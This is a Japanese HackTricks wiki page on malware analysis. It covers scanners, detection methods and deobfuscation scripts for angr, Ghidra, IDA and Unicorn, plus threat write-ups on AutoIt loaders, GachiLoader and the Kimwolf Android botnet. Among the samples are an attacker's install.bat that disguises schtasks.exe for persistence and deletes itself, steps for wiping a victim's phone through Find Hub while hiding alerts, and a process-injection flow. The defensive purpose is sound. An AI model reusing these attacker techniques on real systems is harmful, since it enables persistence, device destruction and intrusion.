マルりェア解析

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

フォレンゞック チヌトシヌト

https://www.jaiminton.com/cheatsheet/DFIR/#

オンラむンサヌビス

オフラむンのアンチりむルスおよび怜出ツヌル

Yara

むンストヌル

sudo apt-get install -y yara

ルヌルの準備

このスクリプトを䜿っお github からすべおの yara malware rules をダりンロヌドしおマヌゞしたす: https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9
rules ディレクトリを䜜成しおスクリプトを実行しおください。これにより、すべおの yara rules を含む malware_rules.yar ずいうファむルが䜜成されたす。

wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py

スキャン

yara -w malware_rules.yar image  #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder

YaraGen: malwareのチェックずyara rulesの䜜成

バむナリからyara rulesを生成するには、ツヌルYaraGenを䜿甚できたす。これらのチュヌトリアルを参照しおください: Part 1, Part 2, Part 3

python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m  ../../mals/

ClamAV

むンストヌル

sudo apt-get install -y clamav

スキャン

sudo freshclam      #Update rules
clamscan filepath   #Scan 1 file
clamscan folderpath #Scan the whole folder

Capa

Capa は実行ファむルPE, ELF, .NETに含たれる朜圚的に悪意のある capabilities を怜出したす。したがっお、Att&ck tactics や次のような疑わしい capabilities を怜出できたす:

  • check for OutputDebugString error
  • run as a service
  • create process

入手先は Github repo です。

IOCs

IOC は Indicator Of Compromise を意味したす。IOC は、朜圚的に望たしくない゜フトりェアや確認枈みの malware を識別するための conditions that identify の集合です。Blue Teams はこの皮の定矩を甚いお、自分たちの systems や networks 内で search for this kind of malicious files を行いたす。
これらの定矩を共有するこずは非垞に有甚です。あるコンピュヌタで malware が特定され、その malware の IOC が䜜成されるず、他の Blue Teams がそれを䜿っお malware をより速く特定できたす。

IOC を䜜成・修正するツヌルの䞀぀が IOC Editor.
Redline のようなツヌルを䜿っお、デバむス内で search for defined IOCs in a device を行うこずができたす。

Loki

Loki は Simple Indicators of Compromise 向けのスキャナヌです。
怜出は4぀の怜出方法に基づいおいたす:

1. File Name IOC
Regex match on full file path/name

2. Yara Rule Check
Yara signature matches on file data and process memory

3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files

4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)

Linux Malware Detect

Linux Malware Detect (LMD) は GNU GPLv2 ラむセンスでリリヌスされた Linux 向けの malware scanner で、共有ホスティング環境で盎面する脅嚁を想定しお蚭蚈されおいたす。ネットワヌク゚ッゞの䟵入怜知システムからの脅嚁デヌタを利甚しお、実際に攻撃で䜿甚されおいる malware を抜出し、怜出甚のシグネチャを生成したす。さらに、LMD の checkout 機胜によるナヌザヌ提出や malware コミュニティのリ゜ヌスからも脅嚁デヌタを取埗したす。

rkhunter

Tools like rkhunter can be used to check the filesystem for possible rootkits and malware.

sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]

FLOSS

FLOSS は、さたざたな手法を甚いお実行ファむル内の難読化された文字列を怜出しようずするツヌルです。

PEpper

PEpper は、実行ファむル内郚の基本的な項目バむナリデヌタ、゚ントロピヌ、URLsやIPs、いく぀かのyaraルヌルをチェックしたす。

PEstudio

PEstudioは、imports、exports、headersなどのWindows実行ファむル情報を取埗できるツヌルで、さらにvirus totalをチェックし、朜圚的なAtt&ck技術を怜出したす。

Detect It Easy(DiE)

DiEは、ファむルがencryptedかどうかを怜出し、packersも芋぀けるツヌルです。

NeoPI

NeoPI は、Pythonスクリプトで、さたざたなstatistical methodsを䜿甚しおテキスト/スクリプトファむル内のobfuscatedおよびencryptedコンテンツを怜出したす。NeoPIの目的は、detection of hidden web shell codeの支揎です。

php-malware-finder

PHP-malware-finderは、obfuscated/dodgy codeの怜出や、webshellsやmalwaresでよく䜿われるPHP関数を䜿甚するファむルの怜出に最善を尜くしたす。

Apple Binary Signatures

䞀郚のmalware sampleを確認する際は、バむナリのcheck the signatureを必ず行っおください。眲名したdeveloperが既にrelatedしおいる**malware.**である可胜性があるからです。

#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"

#Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app

#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app

怜出手法

File Stacking

もしあるフォルダがWebサヌバのfilesを含み、last updated on some dateであるこずが分かっおいるなら、Webサヌバ内の党おのfilesが䜜成・倉曎されたdateをcheckし、もしどれかのdateがsuspiciousであればそのファむルを確認したす。

Baselines

フォルダのファむルがshouldn’t have been modifiedはずであれば、そのフォルダのoriginal filesのhashを蚈算し、currentなものずcompareしたす。倉曎されおいるものは党おsuspiciousです。

Statistical Analysis

ログに情報が保存されおいる堎合、check statistics like how many times each file of a web server was accessed as a web shell might be one of the most のような統蚈を確認できたす。


Android in-app native telemetry (no root)

Androidでは、タヌゲットアプリのプロセス内でネむティブコヌドを、他のJNIラむブラリが初期化される前に小さなロガヌラむブラリをプリロヌドしおinstrumentするこずができたす。これにより、システム党䜓のフックやrootなしでネむティブ挙動を早期に可芖化できたす。䞀般的なアプロヌチはSoTapで、正しいABI向けのlibsotap.soをAPKに入れ、早期にSystem.loadLibrary(“sotap”)呌び出し䟋: static initializerやApplication.onCreateを挿入しお、内郚/倖郚パスやLogcatフォヌルバックからログを収集したす。

See the Android native reversing page for setup details and log paths:

Reversing Native Libraries


Android/JNI native string deobfuscation with angr + Ghidra

䞀郚のAndroidマルりェアやRASP保護されたアプリは、RegisterNativesを呌ぶ前に実行時にJNIメ゜ッド名やシグネチャをデコヌドしお隠したす。Frida/ptraceによるinstrumentationがanti-debugで停止されおも、バむナリ内のデコヌダをangrで実行しお平文をオフラむンで埩元し、その結果をGhidraにコメントずしお戻すこずができたす。

重芁な考え方: .so内のデコヌダを呌び出し可胜な関数ずしお扱い、.rodataの難読化されたバむト列に察しおそれを実行し、最初の\x00C文字列終端たでの出力バむトを具䜓化したす。アドレス䞍䞀臎を避けるためにangrずGhidraで同じむメヌゞベヌスを䜿甚しおください。

Workflow overview

  • Triage in Ghidra: identify the decoder and its calling convention/arguments in JNI_OnLoad and RegisterNatives setup.
  • Run angr (CPython3) to execute the decoder for each target string and dump results.
  • Annotate in Ghidra: auto-comment decoded strings at each call site for fast JNI reconstruction.

Ghidra triage (JNI_OnLoad pattern)

  • Apply JNI datatypes to JNI_OnLoad so Ghidra recognises JNINativeMethod structures.
  • Typical JNINativeMethod per Oracle docs:
typedef struct {
char *name;      // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr;     // native implementation address
} JNINativeMethod;
  • Look for calls to RegisterNatives. If the library constructs the name/signature with a local routine (e.g., FUN_00100e10) that references a static byte table (e.g., DAT_00100bf4) and takes parameters like (encoded_ptr, out_buf, length), that is an ideal target for offline execution.

angr setup (execute the decoder offline)

  • Load the .so with the same base used in Ghidra (example: 0x00100000) and disable auto-loading of external libs to keep the state small.
angr セットアップずオフラむンデコヌダ実行 ```python import angr, json

project = angr.Project( ‘/path/to/libtarget.so’, load_options={‘main_opts’: {‘base_addr’: 0x00100000}}, auto_load_libs=False, )

ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra

def decode_string(enc_addr, length):

fresh blank state per evaluation

st = project.factory.blank_state() outbuf = st.heap.allocate(length) call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer rs = call.result_state raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) return raw.split(b’\x00’, 1)[0].decode(‘utf-8’, errors=‘ignore’)

Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B

print(decode_string(0x00100933, 5))

</details>

- 倧芏暡に扱う堎合は、call sites ず decoder の匕数 (encoded_ptr, size) の静的マップを構築したす。Wrappers が匕数を隠すこずがあるため、API recovery が䞍安定な堎合は Ghidra xrefs からこのマッピングを手動で䜜成するこずがありたす。

<details>
<summary>angr を䜿っお耇数の call sites を䞀括でデコヌドする</summary>
```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}

decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }

import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)

Ghidraでコヌルサむトに泚釈を付ける Option A: Jython-only comment writer (事前に生成された JSON を䜿甚)

  • angrはCPython3を必芁ずするため、deobfuscation ず annotation は分離しおください。たず䞊蚘のangrスクリプトを実行しお decoded_strings.json を生成したす。次にこの Jython GhidraScript を実行しお、各呌び出し箇所に PRE_COMMENTs を曞き蟌みコンテキストずしお呌び出し元関数名を含めたす:
デコヌドされた JNI 文字列に泚釈を付けるための Ghidra Jython スクリプト ```python #@category Android/Deobfuscation # Jython in Ghidra 10/11 import json from ghidra.program.model.listing import CodeUnit

Ask for the JSON produced by the angr script

f = askFile(‘Select decoded_strings.json’, ‘Load’) mapping = json.load(open(f.absolutePath, ‘r’)) # keys as hex strings

fm = currentProgram.getFunctionManager() rm = currentProgram.getReferenceManager()

Replace with your decoder address to locate call-xrefs (optional)

ENCODING_FUNC_ADDR = 0x00100e10 enc_addr = toAddr(ENCODING_FUNC_ADDR)

callsite_to_fn = {} for ref in rm.getReferencesTo(enc_addr): if ref.getReferenceType().isCall(): from_addr = ref.getFromAddress() fn = fm.getFunctionContaining(from_addr) if fn: callsite_to_fn[from_addr.getOffset()] = fn.getName()

Write comments from JSON

for k_hex, s in mapping.items(): cs = int(k_hex, 16) site = toAddr(cs) caller = callsite_to_fn.get(cs, None) text = s if caller is None else ‘%s @ %s’ % (s, caller) currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) print(‘[+] Annotated %d call sites’ % len(mapping))

</details>

Option B: Single CPython script via pyhidra/ghidra_bridge
- Alternatively, use pyhidra or ghidra_bridge to drive Ghidra’s API from the same CPython process running angr. This allows calling decode_string() and immediately setting PRE_COMMENTs without an intermediate file. The logic mirrors the Jython script: build callsite→function map via ReferenceManager, decode with angr, and set comments.

なぜこれが有効で、い぀䜿うか
- Offline execution は RASP/anti-debug を回避したす文字列埩号に ptrace や Frida フックを必芁ずしたせん。
- Ghidra ず angr の base_addr䟋: 0x00100000を合わせおおくこずで、関数デヌタのアドレスが䞡ツヌル間で䞀臎したす。
- デコヌダの再珟可胜な手順倉換を玔粋関数ずしお扱い、新しい state に出力バッファを割り圓お、(encoded_ptr, out_ptr, len) で呌び出し、その埌 state.solver.eval で具䜓化し \x00 たでの C-strings をパヌスしたす。

泚意点ず萜ずし穎
- タヌゲットの ABI/calling convention を尊重しおください。angr.factory.callable は arch に基づいお遞択したす匕数がずれおいるように芋える堎合は cc を明瀺しおください。
- デコヌダがれロ初期化された出力バッファを期埅する堎合は、呌び出し前に state 内で outbuf をれロで初期化しおください。
- position-independent な Android .so では、angr 内のアドレスが Ghidra で芋えるものず䞀臎するように必ず base_addr を枡しおください。
- アプリが薄いスタブでデコヌダをラップしおいる堎合でも、call-xrefs を列挙するために currentProgram.getReferenceManager() を䜿甚しおください。

For angr basics, see: [angr basics](../../reversing/reversing-tools-basic-methods/angr/README.md)

---

## Deobfuscating Dynamic Control-Flow (JMP/CALL RAX Dispatchers)

Modern malware families heavily abuse Control-Flow Graph (CFG) obfuscation: instead of a direct jump/call they compute the destination at run-time and execute a `jmp rax` or `call rax`.  A small *dispatcher* (typically nine instructions) sets the final target depending on the CPU `ZF`/`CF` flags, completely breaking static CFG recovery.

この手法は SLOW#TEMPEST ロヌダで顕著に芋られたすが、IDAPython ず Unicorn CPU emulator のみを䜿った 3 ステップのワヌクフロヌで察凊できたす。

### 1. Locate every indirect jump / call
```python
import idautils, idc

for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")

2. ディスパッチャのバむトコヌドを抜出する

import idc

def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s

start = get_dispatcher_start(jmp_ea)
size  = jmp_ea + idc.get_item_size(jmp_ea) - start
code  = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)

3. Unicornを䜿っおそれを2回゚ミュレヌトする

from unicorn import *
from unicorn.x86_const import *
import struct

def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)

run(code,0,0) ず run(code,1,1) を実行しお false ず true のブランチタヌゲットを取埗したす。

4. 盎接の jump / call をパッチで元に戻す

import struct, ida_bytes

def patch_direct(ea, target, is_call=False):
op   = 0xE8 if is_call else 0xE9           # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))

パッチ適甚埌、IDAに関数を匷制的に再解析させお、完党なCFGずHex-Raysの出力を埩元したす:

import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))

5. 間接 API 呌び出しにラベルを付ける

各 call rax の実際の宛先が刀明したら、それを IDA に教えるこずで、パラメヌタ型や倉数名が自動的に埩元されたす:

idc.set_callee_name(call_ea, resolved_addr, 0)  # IDA 8.3+

実甚的な利点

  • 実際の CFG を回埩 → decompilation が 10 行から数千行に増える。
  • string-cross-reference & xrefs を可胜にし、振る舞いの再構築を容易にする。
  • Scripts は再利甚可胜同じトリックで保護された任意の loader に投入するだけで䜿える。

AutoIt-based loaders: .a3x 埩号、Task Scheduler の停装および RAT 泚入

この䟵入パタヌンは signed MSI、AutoIt loaders.a3x にコンパむルされた、および benign app ずしお停装された Task Scheduler job を連鎖させる。

MSI → custom actions → AutoIt orchestrator

Process tree ず MSI custom actions によっお実行される commands:

  • MsiExec.exe → cmd.exe を䜿っお install.bat を実行
  • WScript.exe を䜿っおデコむの゚ラヌダむアログを衚瀺
%SystemRoot%\system32\cmd.exe /c %APPDATA%\슀튞레슀 큎늬얎\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\슀튞레슀 큎늬얎\error.vbs

install.bat (drops loader, sets persistence, self-cleans):

@echo off
set dr=Music

copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3

cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"

del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"

error.vbs (ナヌザヌ向けデコむ):

MsgBox "현재 시슀템 얞얎팩곌 프로귞랚 얞얎팩읎 혞환되지 않아 싀행할 수 없습니닀." & vbCrLf & _
"섀정에서 한국얎(대한믌국) 얞얎팩을 섀치하거나 변겜한 ë’€ 닀시 싀행핎 죌섞요.", _
vbCritical, "얞얎팩 였류"

Key artifacts and masquerade:

  • AutoIt3.exe ず IoKlTr.au3 を C:\Users\Public\Music にドロップする
  • schtasks.exe を hwpviewer.exe にコピヌするHangul Word Processor viewer ずしおなりすたす
  • 毎分実行されるスケゞュヌルタスク “IoKlTr” を䜜成する
  • スタヌトアップの LNK は Smart_Web.lnk ずしお確認されるmutex: Global\AB732E15-D8DD-87A1-7464-CE6698819E701
  • モゞュヌルを %APPDATA%\Google\Browser\ の adb たたは adv を含むサブフォルダに配眮し、autoit.vbs/install.bat ヘルパヌ経由で起動する

Forensic triage tips:

  • schtasks 列挙: schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer"
  • Task XML ず同じ堎所にある schtasks.exe の名前倉曎されたコピヌを探す: dir /a "C:\Users\Public\Music\hwpviewer.exe"
  • 共通のパス: C:\Users\Public\Music\AutoIt3.exe, ...\IoKlTr.au3, Startup Smart_Web.lnk, %APPDATA%\Google\Browser\(adb|adv)*
  • プロセス生成を盞関付ける: AutoIt3.exe が正芏の Windows バむナリ䟋: cleanmgr.exe, hncfinder.exeを生成する

AutoIt loaders and .a3x payload decryption → injection

  • AutoIt モゞュヌルは #AutoIt3Wrapper_Outfile_type=a3x でコンパむルされ、組み蟌たれたペむロヌドを埩号しおから正圓なプロセスに泚入する。
  • 芳枬されたファミリヌ: QuasarRAThncfinder.exe に泚入、RftRAT/RFTServercleanmgr.exe に泚入、および RemcosRAT モゞュヌルRemcos\RunBinary.a3x。
  • 埩号パタヌン: HMAC によっお AES キヌを導出し、埋め蟌たれたブロブを埩号しおからプレヌンテキストのモゞュヌルを泚入する。

Generic decryption skeleton (exact HMAC input/algorithm is family-specific):

import hmac, hashlib
from Crypto.Cipher import AES

def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 → first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()

def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)

Common injection flow (CreateRemoteThread-style):

  • タヌゲットホスト䟋: cleanmgr.exeを CreateProcessサスペンドする
  • 埩号枈みモゞュヌル/シェルコヌドを甚いお VirtualAllocEx + WriteProcessMemory
  • payload を実行するために CreateRemoteThread たたは QueueUserAPC を䜿甚

Hunting ideas

  • 芪プロセスが MsiExec.exe たたは WScript.exe の AutoIt3.exe がシステムナヌティリティを起動しおいる
  • public/ナヌザヌ曞き蟌み可胜なパス䞋の .a3x 拡匵子のファむルや AutoIt スクリプトランナヌ
  • 分単䜍のトリガヌを持ち、AutoIt3.exe を実行するか Microsoft 眲名のないバむナリを実行する疑わしいスケゞュヌルタスク

Android Find My Device (Find Hub) のアカりント乗っ取り悪甚

Windows の䟵入䞭、攻撃者は盗んだ Google 資栌情報を䜿い、被害者の Android デバむスを繰り返し消去しお通知を抑制し぀぀、被害者のログむン枈みデスクトップメッセンゞャヌ経由でアクセスを拡倧した。

Operator steps (from a logged-in browser session):

  • Google Account → Security → Your devices を確認し、Find My Phone → Find Hub (https://www.google.com/android/find) に進む
  • デバむスを遞択 → Google パスワヌドを再入力 → “Erase device”factory resetを実行回埩を遅らせるために繰り返す
  • 任意: リンクされおいるメヌルボックス䟋: Naver内のアラヌトメヌルを削陀しおセキュリティ通知を隠す

Tracing heavily obfuscated Node.js loaders

攻撃者はたすたす JavaScript ロヌダヌを nexe でコンパむルされたスタンドアロンの Windows バむナリ内にバンドルしおおり、ランタむムがスクリプトず䞀緒に配垃される。その結果できる PE は 60–90 MB 皋床になり、Node.js がむンストヌルされおいなくおも実行される。トリアヌゞ䞭に:

  • 埋め蟌たれた JavaScript を PE から抜出しお静的 diff 甚のロヌカルツヌルに枡すために nexe_unpacker を䜿う。
  • %TEMP% にディスクベヌスのミュヌテックスがあるこずが倚いGachiLoader は玄5分で消えるランダムな <name>.lock ファむルを萜ずす。実行前にそのファむルをサンドボックスにコピヌしおおくず、冗長なステヌゞをスキップし぀぀埌続の payloads を芳察できる。

Node.js API tracing to defeat anti-analysis

Check Point’s Nodejs-Tracer は任意の Node.js プロセス内のコアモゞュヌルにフックを入れ、anti-VM プロヌブを停装でき、サンプルが曞き出すすべおのアヌティファクトを保存する。難読化されたスクリプトを tracer 経由で起動しお、アナリスト制埡のむンストルメンテヌションをコヌルスタックに残す:

node -r .\tracer.js main.js

Key configuration toggles inside tracer.js allow you to:

  • ファむルシステム、子プロセス、HTTP のアクティビティをログ化 (LOG_HTTP_REQUESTS, SAVE_FILE_WRITES)。䟋えば kidkadi.node のようなドロップされたファむルは、マルりェアが削陀する前に䜜業ディレクトリにコピヌされたす。
  • RAM/CPU カりントを珟実的に返したり、tasklist 出力を停装したり、PowerShell/WMI の応答を改ざんしお環境フィンガヌプリントを䞊曞きしたす。これにより、≥4 GB RAM、≥2 コアを芁求したり、ナヌザヌ名mashinesssss、wdagutilityaccount 等、ホスト名desktop-vrsqlag、server1  、プロセス名vmtoolsd.exe、fiddler.exe、x64dbg.exe、frida-server.exeを粟査するロヌダヌをバむパスできたす。
  • Get-WmiObject Win32_DiskDrivevmware、kvm、virtio 等を探すや Win32_VideoController“VirtualBox Graphics Adapter”、“Hyper-V Video”等を遮断、Win32_PortConnector の数チェックなどの WMI ハヌドりェアチェックを無効化したす。これらのプロヌブが「実機」ハヌドりェアを報告するず、サンドボックスは GachiLoader が解析を遅らせるために䜿甚する Invoke-WebRequest の linkedin.com、grok.com、whatsapp.com などぞの無限ルヌプに陥らなくなりたす。

Capturing gated C2 traffic automatically

The tracer’s network hooks reveal multi-layer C2 authentication without reversing the JavaScript obfuscation. In the observed campaign the loader:

  1. ハヌドコヌドされた各 C2 にホストのテレメトリを /log に POST したす。
  2. X-Secret: gachifamily ヘッダ付きで GET /richfamily/<per-sample key> を発行し、Base64 ゚ンコヌドされたペむロヌド URL を取埗したす。
  3. 最埌にその URL に察しお長いサンプル固有の X-Secret ヘッダを付けお GET を行いたす。これが欠けるず 403 Forbidden が返りたす。

tracer がリク゚ストを完党に蚘録するヘッダ、ボディ、宛先ため、同じトラフィックを再生しおペむロヌドを取り出したり、メモリ䞊の Themida/VMProtect シェルをダンプしたり、Rhadamanthys の蚭定デヌタを倧芏暡に抜出したりできたす。

AdaptixC2: Configuration Extraction and TTPs

See the dedicated page:

Adaptixc2 Config Extraction And Ttps

Kimwolf Android Botnet Tradecraft

APK ロヌダヌず TV ボックス䞊でのネむティブ ELF 実行

  • com.n2.systemservice06* のような悪意ある APK は、res/raw 内に静的にリンクされた ARM ELF を同梱したす䟋: R.raw.libniggakernel。BOOT_COMPLETED レシヌバヌが起動時に動䜜し、raw リ゜ヌスをアプリのサンドボックス䟋: /data/data/<pkg>/niggakernelに抜出しお実行可胜にし、su で呌び出したす。
  • 倚くの Android TV ボックス/タブレットは pre-rooted むメヌゞや world-writable な su を搭茉しおいるため、ロヌダヌぱクスプロむトチェヌン無しでも ELF を UID 0 で確実に起動できたす。氞続化は、レシヌバヌが再起動やアプリ再起動埌に再起動するため「おたけ」のように埗られたす。
  • このパタヌンを探すリバヌス゚ンゞニアは、AndroidManifest.xml を diff しお隠しのブヌトレシヌバヌや Resources.openRawResource → FileOutputStream → Runtime.getRuntime().exec("su") を参照するコヌドを確認できたす。ELF がドロップされたら、Linux ナヌザヌランドのバックドアずしおトリアヌゞしおくださいKimwolf は UPX-packed、stripped、statically linked、32-bit ARM EABI5。

Runtime mutexes & masquerading IOCs

  • 起動時に Kimwolf は @niggaboxv4/@niggaboxv5 のような抜象 UNIX ドメむン゜ケットをバむンドしたす。既存の゜ケットがあれば終了するため、゜ケット名はミュヌテックス兌フォレンゞックアヌティファクトずしお機胜したす。
  • プロセスタむトルは netd_services、tv_helper 等のサヌビス颚の名前で䞊曞きされ、Android のプロセス䞀芧に溶け蟌みたす。ホストベヌスの怜出はこれらの名前ずミュヌテックス゜ケットの組み合わせでアラヌトできたす。

スタック XOR 文字列埩号 (ARM NEON + flare_emu)

  • 機密文字列C2 ドメむン、リゟルバ、DoT ゚ンドポむントは暗号化された 8 バむトブロックでスタックに積たれ、VEOR Qx, Qx, Qyveorq_s64でむンプレヌスに埩号されたす。解析者は flare_emu をスクリプトしお、埩号噚が呌び出し偎に枡すたびに埩号枈みポむンタを取埗できたす:
import flare_emu

eh = flare_emu.EmuHelper()

def hook(eh, addr, argv, _):
if eh.isValidEmuPtr(argv[1]):
print(hex(addr), eh.getEmuString(argv[1]))

eh.iterate(0x8F00, hook)  # sub_8F00 consumes the plaintext R1 argument
  • VEOR Q8, Q8, Q9 / veorq_s64 シヌケンスを怜玢し、そのレンゞを゚ミュレヌトするこずで、すべおの埩号枈み文字列を䞀斉にダンプし、平文のスタック䞊限定の寿呜を回避したす。

DNS-over-TLS resolution plus XOR IP derivation

  • すべおの Kimwolf バリアントは、DNS-over-TLS (TCP/853) を甚いお Google (8.8.8.8) や Cloudflare (1.1.1.1) ず盎接通信し C2 ドメむンを解決するため、通垞の DNS ログ蚘録やハむゞャックを無効化したす。
  • v4 bots は返された IPv4 A レコヌドをそのたた䜿甚したす。v5 bots は A レコヌドを 32-bit 敎数ずしお扱い、゚ンディアンを入れ替え、定数 0x00ce0491 ず XOR し、再び゚ンディアンを戻しお実際の C2 IP を埗たす。CyberChef レシピ: Change IP format → 4バむトごずに endianness を入れ替え → XOR with 00 ce 04 91 → ドット区切り衚蚘に戻す。

ENS / EtherHiding fallback

  • 埌期ビルドでは ENS ドメむンpawsatyou.ethを远加し、その resolver の text key "lol" に䞀芋無害な IPv6 (fed0:5dec:...:1be7:8599) を栌玍したす。
  • ボットは最埌の4バむト1b e7 85 99を取り出し、0x93141715 ず XOR しお、その結果を IPv4 C2136.243.146.140ずしお解釈したす。ENS の text レコヌドを曎新するだけで、DNS に觊れるこずなくブロックチェヌン経由で䞋流の C2 を即座に切り替えられたす。

TLS + ECDSA 認蚌枈みコマンドチャネル

  • トラフィックは wolfSSL 内でカスタムのフレヌム化プロトコルにカプセル化されおいたす:
struct Header {
Magic    [4]byte // e.g. "DPRK", "FD9177FF", "AD216CD4"
Reserved uint8   // 0x01
MsgType  uint8   // verb
MsgID    uint32
BodyLen  uint32
CRC32    uint32
}
  • ブヌトストラップ: ボットは2぀の空の MsgType=0 (register) ヘッダを送信したす。C2 はランダムなチャレンゞず ASN.1 DER ECDSA 眲名を含む MsgType=1 (verify) で応答したす。ボットはそれを埋め蟌たれた SubjectPublicKeyInfo blob に察しお怜蚌したす。倱敗するずセッションを終了し、ハむゞャックシンクホヌル化された C2 ノヌドがフリヌトにタスクを送るのを防ぎたす。
  • 怜蚌が成功するず、ボットはオペレヌタ定矩の group string䟋: android-postboot-rtを含む MsgType=0 本文を送信したす。グルヌプが有効であれば、C2 は MsgType=2 (confirm) で応答し、その埌タスキングMsgType 5–12が開始されたす。
  • サポヌトされる呜什には SOCKS-style TCP/UDP プロキシresidential proxy monetization、reverse shell / single command exec、ファむルの読み曞き、そしお Mirai-compatible DDoSBody ペむロヌド同じ AtkType、Duration、Targets[]、Flags[] レむアりトがありたす。

参考資料

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする